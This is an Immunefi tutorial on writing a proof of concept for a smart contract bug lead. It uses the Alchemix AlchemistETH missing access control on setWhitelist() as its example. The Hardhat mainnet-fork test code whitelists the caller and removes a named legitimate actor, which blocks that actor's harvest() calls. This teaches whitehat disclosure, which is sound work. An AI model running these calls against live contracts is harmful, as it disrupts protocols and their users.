How to PoC your Bug Leads

Immunefi
Immunefi
Published in
5 min readOct 12, 2021

Picture this scenario: you’ve spent the entire day fruitlessly examining smart contract code. And now you’ve stumbled across a snippet of code that makes your Spidey-Senses tingle. You get excited. Could this be the bug that makes you a million dollars, turns you into a hall of fame legendary hacker, and changes your life forever?

But you’re not 100% sure. How can you tell if that potential vulnerability you just found is critical or non-critical?

You need to know if there’s a real issue at hand. You don’t want to sound the alarm bell for a false positive.

Enter the proof-of-concept (PoC). If the bug is valid, a PoC quickly confirms this.

Having a PoC will also make your bug report easier to follow and much more likely for the project to take it seriously. Not only do they know that the exploit is definitely real, but a PoC often demonstrates the magnitude of the potential damage, which helps to get bug hunters much, much larger rewards.

Note: Do not test a POC and potential exploits in production or on mainnet. Doing so will get you banned from any bug bounty program. You can safely test a PoC and potential exploits in a simulated environment.

In this tutorial written for Immunefi by whitehat Ashiq Amien from iosiro, you’ll learn how to use a forked environment via Hardhat, to write a PoC for the Alchemix Access Control Exploit.

Lucashdev recently wrote an alternate method using the project’s code base and test frameworks.

What You’ll Need

The PoC

Viewing the AlchemistETH contract shows the setWhitelist() function does not have access control.

Your PoC will demonstrate how an attacker could use this function to whitelist themselves and prevent a call to the harvest() function.

To start, install Hardhat and a package to connect to the verified etherscan contracts and create a basic sample Hardhat project:

npm install — save-dev hardhatnpx hardhatWelcome to Hardhat v2.6.4✔ What do you want to do? · Create a basic sample project✔ Hardhat project root: · /your/project/dir✔ Do you want to add a .gitignore? (Y/n) · y✔ Do you want to install this sample project’s dependencies with npm (hardhat @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? (Y/n) · y

Since testing needs to be done in a simulated environment, you’ll need to modify the Hardhat config to use a forked version of mainnet.

You’ll also need to sign up to Alchemy to get a free API key.

Note: It’s recommended to pin a block to one reasonably close to the latest block.

Install hardhat-etherscan-abi as per the provided instructions. Your Hardhat config file should now look similar to the following:

require(“@nomiclabs/hardhat-waffle”);
require(“hardhat-etherscan-abi”);
module.exports = {
networks: {
hardhat: {
chainId: 1,
forking: {
url: “https://eth-mainnet.alchemyapi.io/v2/<alchemy-API-key>",
blockNumber:
13308800
},
}
},
etherscan: {
apiKey: “<etherscan-API-key>”
},
solidity: “0.8.0”,
};

Next, test that the fork environment is actually working as intended. An easy way to do this is to read from any view functions or public state variables. For example, you can modify the sample-test.js to read the transmuter address:

const { expect } = require(“chai”);
const { ethers } = require(“hardhat”);
describe(“PoC demo”, function () {
this.timeout(“250000”);
let target;
before(async () => {
target = await hre.ethers.getVerifiedContractAt(“0x6B566554378477490ab040f6F757171c967D03ab”);
});
it(“Should be able to read the correct address”, async function () { console.log(“the transmuter address at block 13267300 is: “ + await
target.transmuter());
});
});

If everything was set up correctly, running npx hardhat test should give you:

PoC demo
the transmuter address at block 13267300 is: 0x8d513E6552aae771CaBD6b2Bf8875A8A2e38f19f
✓ Should be able to read the correct address (15575ms)

If the setup is working correctly, it’ll return the same address as if we read it on Etherscan.

Now you can confirm the access control issue by whitelisting yourself and using the public whitelist mapping to confirm.

Call setWhitelist() with an array of addresses and an array of flags as per the contract. Since you want to whitelist just yourself, you need to fetch the address of the default signer, the first entry in ethers.getSigners().

The next step is to write a test case to check if our lead is valid:

it(“Check whitelist access control issue”, async function () {
let accounts = await ethers.getSigners();
console.log(“Am I whitelisted? : “ + await target.whitelist(accounts[0].address));
await target.setWhitelist([accounts[0].address],[true]);
console.log(“Am I whitelisted? : “ + await target.whitelist(accounts[0].address));
});

Re-running the test confirms that anyone can whitelist addresses arbitrarily:

PoC demo
the transmuter address at block 13267300 is: 0x8d513E6552aae771CaBD6b2Bf8875A8A2e38f19f
✓ Should be able to read the correct address
Am I whitelisted? : false
Am I whitelisted? : true
✓ Check whitelist access control issue (1092ms)

You could stop here and send this as part of the report because it displays the issue. But it doesn’t demonstrate the actual exploit itself.

You can prevent a legitimate actor from calling harvest() by removing them from the whitelist. This can be shown by replaying the following tx which happens on block 12644672 just after the exploit takes place on block 12644671. The Hardhat config should update automatically and you can then impersonate the sender with Hardhat’s impersonateAccount method.

Try and find a tx that when replayed after the exploit, reverts according to some criteria (or even no criteria) by using OpenZeppelin’s test helpers. Install it with npm install — save-dev @openzeppelin/test-helpers and import const {expectRevert} = require(‘@openzeppelin/test-helpers’); into the test file. Now you can write the test case as follows:

it(“Prevent legitimate harvest calls”, async function () {
const legitActor = ‘0x51e029a5ef288fb87c5e8dd46895c353ad9aaaec’;
//Remove the legitimate actor from the whitelist
await target.setWhitelist([legitActor],[false]);
//Impersonate the legitimate actor
await hre.network.provider.request({
method: “hardhat_impersonateAccount”,
params: [legitActor]}
);
const legitActorSigner = await ethers.provider.getSigner(legitActor);
//Replay the tx as the legitimate actor with the same parameters
//Note that we expect this to revert
await expectRevert.unspecified(target.connect(legitActorSigner).harvest(0));});

This gives you:

PoC demo
the transmuter address at block 13267300 is: 0x8d513E6552aae771CaBD6b2Bf8875A8A2e38f19f
✓ Should be able to read the correct address (41ms)
Am I whitelisted? : false
Am I whitelisted? : true
✓ Check whitelist access control issue (98ms)
✓ Prevent legitimate harvest calls (86ms)

The test case passes meaning a transaction revert was caught as expected. (Note that you may need to tweak the gasPrice in your Hardhat config depending on the baseFeePerGas at the pinned block). Here, you’ve displayed that it’s possible for a user to front-run a legitimate actor from calling harvest().

That’s it!

To wrap things up, in this guide you learned how to:

  • Set up a Hardhat project using mainnet fork testing
  • Read from the contract and confirm a bug lead
  • Replay a tx to demonstrate the exploit in action

The advantage of using this method is that you only need to set it up once. If you run into leads on other contracts, just swap the contract address in question and modify your test cases as needed.

Hopefully you’ve learned something new and it helps you on your bug hunting journey to greatness.

🔒 For more guides on how to secure smart contracts, analysis of past hacks, and information on the latest bounties, make sure you follow us on Twitter or join our whitehat Discord community.

P.S. Hackers subscribed to our newsletter are 35.8% more likely to earn a bug bounty. Click here to sign up.

--

--

Immunefi
Immunefi

Immunefi is the premier bug bounty platform for smart contracts, where hackers review code, disclose vulnerabilities, get paid, and make crypto safer.